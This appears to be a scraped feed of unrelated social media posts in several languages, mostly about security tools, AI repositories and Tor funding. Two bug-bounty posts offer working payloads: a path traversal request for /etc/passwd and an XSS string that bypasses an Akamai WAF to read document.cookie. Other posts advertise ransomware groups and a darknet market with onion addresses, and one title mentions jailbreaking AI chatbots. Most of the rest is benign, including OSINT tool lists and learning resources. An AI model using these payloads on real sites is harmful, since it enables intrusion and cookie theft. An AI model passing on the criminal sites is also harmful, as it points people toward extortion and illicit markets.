Another good hunt tonight. Nginx merge slashes path traversal vulnerability in one of the popular tech giant. Path Traversals can be soo simple. 🔥 Payload: GET ///////../../../etc/passwd Credit: @__nav1n_ #bugbountytips #bugbountytip #bugbounty

🌐 Tor prend ses distances avec Mullvad à cause d’un don personnel via un co-fondateur à un parti suédois... Mais en parallèle, le projet a été conçu et financé pendant des décennies par des branches du gouvernement américain ! En 2025, Daniel Berntsson (co-fondateur et co-propriétaire de Mullvad) donne 5M SEK (520 k$) à l’Örebropartiet. Ce don représente environ 72% des revenus du parti cette année-là Le parti prône notamment zéro immigration d’asile (hors cas très limités) et une remigration à grande échelle Mullvad précise que c’est un don privé, que la société n’est pas impliquée, et que l’autre co-fondateur s’y oppose Le 9 octobre 2026 Tor réagit... Ils gardent la collaboration technique (Mullvad Browser = Tor Browser sans le réseau.. ça a amélioré la maintenabilité et l’auditabilité du code) Mais ils mettent en pause le co-branding et clarifient le langage pour ne plus laisser croire à un alignement de valeurs "Bien que Tor défende la liberté d’expression, tous les discours ne sont pas également compatibles avec notre mission. Nous nous opposons fermement aux propos qui menacent d’autres droits humains et libertés" L’onion routing a été inventé dans les années 1990 au Naval Research Laboratory (US Navy) par Paul Syverson et ses collègues Objectif initial : protéger les communications des agents de renseignement américains Chiffres (sources Tor + Form 990) : - 2015 : 85% du budget venait du gouvernement US - 2021-2022 : 53,5% - 2023-2024 : encore 35% (2,56 M$ sur 7,3 M$) dont 2,12 M$ du State Department (Bureau of Democracy, Human Rights, and Labor) Le Broadcasting Board of Governors (BBG, agence issue de la CIA qui gère Voice of America, Radio Free Europe, etc..) a versé environ 6,1 M$ à Tor entre 2007 et 2015 via l’Open Technology Fund Les documents FOIA ont montré 2500 pages de correspondance : Plans de déploiement de Tor dans des pays ciblés par Washington (Chine, Iran, Russie..) Réunions et trainings avec CIA, NSA, FBI, DOJ et State Department Rapports mensuels détaillés aux financeurs, et contrats avec obligations strictes Il y a un contraste... Un don personnel d’un co-fondateur de partenaire à un parti local suédois = distance idéologique et clarification de valeurs Des millions de dollars récurrents, des origines militaires, des contrats et des réunions documentées avec des agences US de soft power et de sécurité = acceptés depuis le début Bref... Le code est open source. C’est une vraie protection technique. Mais les priorités, les arbitrages et la dépendance financière restent des faits Savoir d’où vient l’argent, et quelles paroles sont jugées "incompatibles" avec la mission fait partie de la souveraineté numérique 🔎

‼️ New Ransomware Group: The Seven Deadly Sins Dark Web: http://sinsp6ibw32abbcoagbjwetgm2w56u7tr4izy3xzp7ehqoenxvdd3qyd[.]onion

Cross Site Scripting (XSS) Akamai WAF Bypass. 🔥 Try this payload: <!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27> Remember to add payload to your list: 📝 #bugbountytips #bugbountytip #bugbounty

🚨 New Ransomware Group: UmBra Dark Web: http://umbra7isogjsgdcndz3uu6qvl5zftjptt6s3iiuecjlwbt4yqyvrhcid[.]onion

GTA 5 has been ported ported to WebAssembly using AI. We live in the wildest timeline. playgta5.com/

THIS IS INSANE! real hecking gold for everyone who builds with AI a TypeSafe engineer (Jev parent company) leaked 10 GitHub repos that make Jev your second brain: 1. openhuman: an agent harness where Jev picks the right tool out of 1,200+ 2. yao: all your agents and tasks in one place, on every device, with Jev built in 3. memsearch: one shared memory for all your AI agents, ranked by Jev 4. hippo-memory: agent memory that forgets what you mark as wrong 5. jev-chat-jarvis: reads your chats and suggests replies, you decide what to send 6. agentconnect: agents you @-mention, with Jev choosing who handles what 7. fast-jev-compaction: Claude Code keeps only the context that still matters 8. jev-mcp: Jev inside Claude Code as tools 9. jev-router: sends every task to the cheapest model that can do it 10. ollaya: run Jev-style models on your laptop, no waitlist most of these are 2 weeks old. by next month they'll be everywhere, so save this now and show it to the friend who still keeps notes in 40 open tabs. links are in the comments, check it out below if a model can make the decision in 100 ms without writing a single word, why are we still paying LLMs to think out loud?

Nova tecnologia chinesa para punir baianos na fábrica da byd na Bahia

Top 10 OpenCode Skill Repos: 1. Superpowers - github.com/obra/superpowers 2. Ponytail - github.com/DietrichGebert/po… 3. UI/UX Pro Max - github.com/nextlevelbuilder/… 4. Graphify - github.com/Graphify-Labs/gra… 5. Caveman - github.com/JuliusBrussee/cav… 6. Addy Osmani Skills - github.com/addyosmani/agent-… 7. Understand Anything - github.com/Egonex-AI/Underst… 8. Awesome Claude Skills - github.com/ComposioHQ/awesom… 9. Archify - github.com/tt-a1i/archify 10. Impeccable -github.com/pbakaus/impeccabl…

How hackers Jailbreak AI chatbots

ShinyHunters just defaced the FBI Jobs page

Artificial Intelligence in Cybersecurity, Part 26: Web App Hacking with Hermes hackers-arise.com/artificial…

⚠️ New Darknet Market: ZenithBay Market Market: http://zenithdj2apxjdwusualeow6v5pzqywqkpznj5lbwi5brm4agdfyf5ad[.]onion Dread announcement: https://dreadytofatroptsdj6io7l3xptbet6onoyno2yv7jicoxknyazubrad[.]onion/post/32aaeab3aef99784c7b0

automatic translation

50 Different Open-Source OSINT Tools for Bug Bounty Recon No repeats from the previous lists. 1. GHunt github.com/soxoj/ghunt 2. PhoneInfoga github.com/sundowndev/PhoneI… 3. h8mail github.com/khast3x/h8mail 4. Mr.Holmes github.com/Lucksi/Mr.Holmes 5. Epieos github.com/khast3x/epieos 6. FinalRecon github.com/thewhiteh4t/Final… 7. X-osint github.com/TermuxHackz/X-osi… 8. Seekr github.com/WeebSec/seekr 9. Argus github.com/Il-Lupus/Argus 10. Flowsint github.com/flowsint/flowsint 11. OpenCTI github.com/OpenCTI-Platform/… 12. MISP github.com/MISP/MISP 13. IntelOwl github.com/intelowlproject/I… 14. ThreatIngestor github.com/InQuest/ThreatIng… 15. Malwoverview github.com/alexandreborges/m… 16. Mihari github.com/ninoseki/mihari 17. OpenBAS github.com/OpenBAS-Platform/… 18. Censys Python github.com/censys/censys-pyt… 19. Shodan CLI github.com/achillean/shodan-… 20. OWASP Amass Graph github.com/owasp-amass/amass 21. cloud_enum github.com/initstring/cloud_… 22. S3Scanner github.com/sa7mon/S3Scanner 23. CloudBrute github.com/0xskar/CloudBrute 24. GrayhatWarfare github.com/b1ackc4t/BlackWid… 25. CertGraph github.com/GoVanguard/CertGr… 26. CTFR github.com/UnaPibaGeek/ctfr 27. CertStream github.com/CaliDog/certstrea… 28. Knock github.com/guelfoweb/knock 29. DNSTake github.com/pwnesia/dnstake 30. DNSGen github.com/ProjectAnte/dnsge… 31. Altdns github.com/infosec-au/altdns 32. Gotator github.com/Josue87/gotator 33. PureDNS github.com/d3mondev/puredns 34. Hakrawler github.com/hakluke/hakrawler 35. Cariddi github.com/edoardottt/caridd… 36. Gospider github.com/jaeles-project/go… 37. Katana-Templates github.com/projectdiscovery/… 38. ParamSpider github.com/devanshbatham/Par… 39. Uro github.com/s0md3v/uro 40. Unfurl github.com/tomnomnom/unfurl 41. JSluice github.com/BishopFox/jsluice 42. Retire.js github.com/RetireJS/retire.j… 43. SecretFinder github.com/m4ll0k/SecretFind… 44. Mantra github.com/iGio90/Mantra 45. LinkFinder github.com/GerbenJavado/Link… 46. TruffleHog github.com/trufflesecurity/t… 47. Gitleaks github.com/gitleaks/gitleaks 48. GitGuardian ggshield github.com/GitGuardian/ggshi… 49. Apache Tika github.com/apache/tika 50. Timesketch github.com/google/timesketch OSINT methodology: Identity → Domains → DNS → Cloud → Certificates → URLs → JavaScript → Metadata → Code repositories → Threat intelligence → Correlation → Manual validation Don't collect data just because you can. Every OSINT finding should create a useful pivot toward understanding the authorized attack surface. Use these tools only against assets you have permission to test. #OSINT #BugBounty #Recon #CyberSecurity #InfoSec #GitHub #SecurityResearcher #BugBounty

QUE VIDEO LINDO PQP EU TO CHORANDO

⚠️Estagio em Cyber-Security REMOTO

📂 FREE PENETRATION TESTING RESOURCES ┃ ┣ 📂 Web Security ┃ ┣ 📂 PortSwigger Web Security Academy ┃ ┃ ┗ portswigger.net/web-security ┃ ┣ 📂 OWASP Web Security Testing Guide ┃ ┃ ┗ wstg.owasp.org/ ┃ ┣ 📂 OWASP Top 10 ┃ ┃ ┗ owasp.org/www-project-top-te… ┃ ┗ 📂 Web Security Labs ┃ ┗ portswigger.net/web-security… ┃ ┣ 📂 Practice Labs ┃ ┣ 📂 TryHackMe ┃ ┃ ┗ tryhackme.com/ ┃ ┣ 📂 Hack The Box ┃ ┃ ┗ hackthebox.com/ ┃ ┣ 📂 OverTheWire ┃ ┃ ┗ overthewire.org/wargames/ ┃ ┣ 📂 PortSwigger Labs ┃ ┃ ┗ portswigger.net/web-security… ┃ ┗ 📂 OWASP Juice Shop ┃ ┗ owasp.org/www-project-juice-… ┃ ┣ 📂 Vulnerability Research ┃ ┣ 📂 CVE Research ┃ ┃ ┗ cve.org/ ┃ ┣ 📂 Exploit Reproduction ┃ ┃ ┗ github.com/rapid7/metasploit… ┃ ┣ 📂 Security Advisories ┃ ┃ ┗ github.com/security-advisori… ┃ ┣ 📂 Vulnerability Writeups ┃ ┃ ┗ portswigger.net/research ┃ ┗ 📂 Root Cause Analysis ┃ ┗ googleprojectzero.blogspot.c… ┃ ┣ 📂 Pentesting Methodology ┃ ┣ 📂 Reconnaissance ┃ ┃ ┗ wstg.owasp.org/ ┃ ┣ 📂 Enumeration ┃ ┃ ┗ nmap.org/docs.html ┃ ┣ 📂 Vulnerability Assessment ┃ ┃ ┗ portswigger.net/web-security ┃ ┣ 📂 Exploitation ┃ ┃ ┗ metasploit.com/ ┃ ┣ 📂 Privilege Escalation ┃ ┃ ┗ tryhackme.com/ ┃ ┗ 📂 Reporting ┃ ┗ wstg.owasp.org/ ┃ ┣ 📂 Tools ┃ ┣ 📂 Burp Suite ┃ ┃ ┗ portswigger.net/burp ┃ ┣ 📂 Nmap ┃ ┃ ┗ nmap.org/ ┃ ┣ 📂 Wireshark ┃ ┃ ┗ wireshark.org/ ┃ ┣ 📂 Metasploit ┃ ┃ ┗ metasploit.com/ ┃ ┣ 📂 Nuclei ┃ ┃ ┗ docs.projectdiscovery.io/ope… ┃ ┗ 📂 Gobuster ┃ ┗ github.com/OJ/gobuster ┃ ┣ 📂 OS / Network ┃ ┣ 📂 Linux ┃ ┃ ┗ linux.org/ ┃ ┣ 📂 Windows ┃ ┃ ┗ learn.microsoft.com/windows/ ┃ ┣ 📂 Networking ┃ ┃ ┗ cloudflare.com/learning/netw… ┃ ┣ 📂 Active Directory ┃ ┃ ┗ learn.microsoft.com/windows-… ┃ ┗ 📂 Wireshark ┃ ┗ wireshark.org/docs/ ┃ ┣ 📂 Source Code Security ┃ ┣ 📂 CodeQL ┃ ┃ ┗ codeql.github.com/docs/ ┃ ┣ 📂 Semgrep ┃ ┃ ┗ semgrep.dev/ ┃ ┣ 📂 OWASP Secure Coding ┃ ┃ ┗ github.com/OWASP/secure-codi… ┃ ┗ 📂 Dependency Security ┃ ┗ owasp.org/www-project-depend… ┃ ┗ 📂 Learning ┣ 📂 CTFs ┃ ┗ ctftime.org/ ┣ 📂 Cheat Sheets ┃ ┗ cheatsheetseries.owasp.org/ ┣ 📂 Security Blogs ┃ ┗ portswigger.net/research ┣ 📂 GitHub Security Repositories ┃ ┗ github.com/topics/security ┗ 📂 Research Notes ┗ github.com/ Bookmark this. Study. Practice. Build. #CyberSecurity #PenetrationTesting #Pentesting #BugBounty #WebSecurity #AppSec #InfoSec #EthicalHacking #CyberSecurityResources #SecurityResearch

Switch to Linux you will never regret it Switch to Linux you will never regret it Switch to Linux you will never regret it Switch to Linux you will never regret it Switch to Linux you will never regret it Switch to Linux you will never regret it Switch to Linux you will never regret it Switch to Linux you will never regret it Agree?

Alguém tem algum método do DeepSeek free, tava rodando via opencode no Hermes, mas começo a buga a API faz 3 dias